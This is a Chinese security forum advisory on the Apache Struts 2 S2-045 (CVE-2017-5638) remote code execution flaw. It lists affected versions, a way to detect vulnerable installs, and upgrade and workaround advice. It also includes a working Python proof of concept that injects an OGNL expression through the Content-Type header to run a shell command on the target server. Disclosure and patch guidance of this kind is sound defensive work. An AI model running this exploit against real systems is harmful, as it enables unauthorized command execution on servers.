打印 上一主题 下一主题

[漏洞预警] CVE-2017-5638:基于 Jakarta plugin插件的Struts远程代码执行漏洞

[复制链接]

3

主题

3

帖子

40

积分

版主

Rank: 7Rank: 7Rank: 7

积分
40
跳转到指定楼层
楼主
3620 0 漏洞预警-01 发表于 2017-3-7 09:18:05
Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-045,CVE编号CVE-2017-5638,在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵
有关该漏洞详情如下:
漏洞编号:  
CVE-2017-5638


漏洞名称:  
基于 Jakarta plugin插件的Struts远程代码执行漏洞


官方评级:  
高危  


漏洞描述:  
恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。


漏洞利用条件和方式:
黑客通过Jakarta 文件上传插件实现远程利用该漏洞执行代码。  


漏洞影响范围:
  • Struts 2.3.5 - Struts 2.3.31
  • Struts 2.5 - Struts 2.5.10

漏洞修复建议(或缓解措施):

  • 云夕阁建议您升级Struts 到Struts 2.3.32 或 Struts 2.5.10.1 版本
  • 检测方式查看web目录下/WEB-INF/lib/目录下的struts-core.x.x.jar ,如果这个版本在Struts2.3.5 到 Struts2.3.31 以及 Struts2.5 到 Struts2.5.10之间则存在漏洞,
  • 临时解决方案:删除commons-fileupload-x.x.x.jar文件(会造成上传功能不可用)。



POC:
  1. #! /usr/bin/env python
  2. # encoding:utf-8
  3. import urllib2
  4. import sys
  5. from poster.encode import multipart_encode
  6. from poster.streaminghttp import register_openers



  7. def poc():
  8.     register_openers()
  9.     datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
  10.     header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
  11.     header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
  12.     request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
  13.     response = urllib2.urlopen(request)
  14.     print response.read()




  15. poc()
复制代码



提醒:在升级前请做好快照备份。

情报来源:
  • https://cwiki.apache.org/confluence/display/WW/S2-045?from=groupmessage&isappinstalled=0


struct045.rar (1.03 KB, 下载次数: 1)



您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

1、本版为漏洞预警板块,禁止发和漏洞无关的帖子。
2、本站所有资源,可用于网站安全检测,不得使用非法,使用非法与本站无关
3、其他单位或个人使用、转载或引用本文时必须同时征得该帖子作者和云夕阁论坛的同意
4、帖子作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任
5、如本版块文章侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意
6、云夕阁论坛管理员和版主有权不事先通知发贴者而删除本文
  • 今日
    0
  • 主题
    6

推荐阅读

Archiver|手机版|小黑屋| 云夕阁 ( 湘ICP备16017785号-2 )     

返回顶部 返回列表